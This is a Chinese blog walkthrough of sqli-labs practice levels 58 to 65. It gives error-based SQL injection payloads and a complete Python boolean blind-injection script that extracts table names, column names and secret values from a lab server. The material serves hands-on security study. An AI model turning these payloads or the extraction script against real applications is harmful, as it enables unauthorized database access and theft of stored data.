      -1' union SELECT 1 from (SELECT count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2)) as x from information_schema.tables GROUP BY x) as y--+
      
      • group by 会创建一个虚拟表。
      • select version()则是我们可以构造的查询语句。
    • 可以知道,报错注入只是一种思想,我们可以使用不同的数据库中的函数构造不同的函数payload,达到报错注入显示的作用。

  • Less-59

    $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";,数字型的,没有包裹。

  • Less-60

    ​ 包裹为(" ")

    $id = '("'.$id.'")';
    			// Querry DB to get the correct output
    			$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
    -1") union SELECT 1 from (SELECT count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2)) as x from information_schema.tables GROUP BY x) as y--+
    
  • Less-61

    包裹是(( ))

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
  • Less-62

    盲注,使用布尔盲注。需要脚本。附上别人的脚本

    #!/usr/bin/env python3
    import requests, math
    #常量定义
    words = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
    words_len = len(words)
    url = 'http://10.0.0.153/sqli-labs/Less-62/index.php'
    #创建字符表,以ascii排序
    #基于时间的盲注
    #爆表名
    table_name_payload1 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))>{}),1,0))-\''
    table_name_payload2 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))<{}),1,0))-\''
    table_name_payload3 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))={}),1,0))-\''
    #爆字段名
    column_name_payload1 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))>{}),1,0))-\''
    column_name_payload2 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))<{}),1,0))-\''
    column_name_payload3 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))={}),1,0))-\''
    #爆数据
    data_payload1 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))>{}),1,0))-\''
    data_payload2 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))<{}),1,0))-\''
    data_payload3 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))={}),1,0))-\''
    def find_tableName():
        #表名
        table_name = ''
        print("\n[+}retrieving table name...")
        index = 1
        for i in range(1, 11):
            min = 0
            max = words_len-1
            cur = math.floor((max+min)/2)
            table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
            while(1):
                resp = requests.get(url, params=table_name_payload)
                index += 1
                if("Login name" in resp.content.decode('utf-8')):
                    #向右取
                    #print("right {} {} {}".format(min, cur, max))
                    min = cur
                    if(cur+1 == max):
                        #成功
                        table_name += words[max]
                        #print("\n####got one! {}\n".format(table_name))
                        print('{}'.format(table_name))
                        break
                    cur = math.floor((max+min)/2)
                    table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
                    continue
                elif("Login name" not in resp.content.decode('utf-8')):
                    #向左取
                    #print("left {} {} {}".format(min, cur, max))
                    if(cur+1 == max):
                        #成功
                        table_name_payload = {'id':table_name_payload3.format(i, ord(words[cur]))}
                        resp = requests.get(url, params=table_name_payload)
                        #print("No.{}: {}".format(index, words[cur]))
                        if("Login name" in resp.content.decode('utf-8')):
                            table_name += words[cur]
                        else:
                            table_name += words[min]
                        #print("\n####got one! {}\n".format(table_name))
                        print('{}'.format(table_name))
                        break
                    max = cur
                    cur = math.floor((max+min)/2)
                    table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
        print('[+]table_name: {}\n[+]{} times'.format(table_name, index))
        return table_name
    def find_columnName(table_name):
        #字段名
        column_name = 'secret_'
        print("\n[+}retrieving column name...")
        is_done = False
        index = 1
        for i in range(8, 12):
            min = 0
            max = words_len-1
            cur = math.floor((max+min)/2)
            column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
            while(1):
                resp = requests.get(url, params=column_name_payload)
                #print(column_name_payload)
                index += 1
                if("Login name" in resp.content.decode('utf-8')):
                    #向右取
                    #print("right {} {} {}".format(min, cur, max))
                    min = cur
                    if(cur+1 == max):
                        #成功
                        column_name += words[max]
                        #print("\n####got one! {}\n".format(column_name))
                        print('{}'.format(column_name))
                        break
                    cur = math.floor((max+min)/2)
                    column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
                    continue
                elif("Login name" not in resp.content.decode('utf-8')):
                    #向左取
                    #print("left {} {} {}".format(min, cur, max))
                    if(cur+1 == max):
                        #成功
                        column_name_payload = {'id':column_name_payload3.format(table_name, i, ord(words[cur]))}
                        resp = requests.get(url, params=column_name_payload)
                        #print(column_name_payload)
                        index += 1
                        #print("No.{}: {}".format(index, words[cur]))
                        if("Login name" in resp.content.decode('utf-8')):
                            column_name += words[cur]
                        else:
                            column_name += words[min]
                        #print("\n####got one! {}\n".format(column_name))
                        print('{}'.format(column_name))
                        break
                    max = cur
                    cur = math.floor((max+min)/2)
                    column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
        print('[+]column_name: {}\n[+]{} times'.format(column_name, index))
        return column_name
    def retrieve_data(table_name, column_name):
        #爆数据
        data = ''
        print("\n[+}retrieving data...")
        index = 1
        for i in range(1, 25):
            min = 0
            max = words_len-1
            cur = math.floor((max+min)/2)
            data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
            while(1):
                resp = requests.get(url, params=data_payload)
                #print(data_payload)
                index += 1
                if("Login name" in resp.content.decode('utf-8')):
                    #向右取
                    #print("right {} {} {}".format(min, cur, max))
                    if(cur+1 == max):
                        #成功
                        data += words[max]
                        #print("\n####got one! {}\n".format(data))
                        print('{}'.format(data))
                        break
                    min = cur
                    cur = math.floor((max+min)/2)
                    data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
                    continue
                elif("Login name" not in resp.content.decode('utf-8')):
                    #向左取
                    #print("left {} {} {}".format(min, cur, max))
                    if(cur+1 == max):
                        #成功
                        data_payload = {'id':data_payload3.format(column_name, table_name, i, ord(words[cur]))}
                        resp = requests.get(url, params=data_payload)
                        #print(data_payload)
                        index += 1
                        #print("No.{}: {}".format(index, words[cur]))
                        if("Login name" in resp.content.decode('utf-8')):
                            data += words[cur]
                        else:
                            data += words[min]
                        #print("\n####got one! {}\n".format(data))
                        print('{}'.format(data))
                        break
                    max = cur
                    cur = math.floor((max+min)/2)
                    data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
        print('[+]data: {}\n[+]{} times'.format(data, index))
        return data
    if __name__ == '__main__':   
        table_name = find_tableName()
        column_name = find_columnName(table_name)
        data = retrieve_data(table_name, column_name)
    
  • Less-63

    包裹为单引。

    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    
  • Less-64

    数字型注入

  • Less-65

    双引号注入。

学习记录而已。

展开阅读全文
打赏
0
0 收藏
分享

作者的其它热门文章

加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部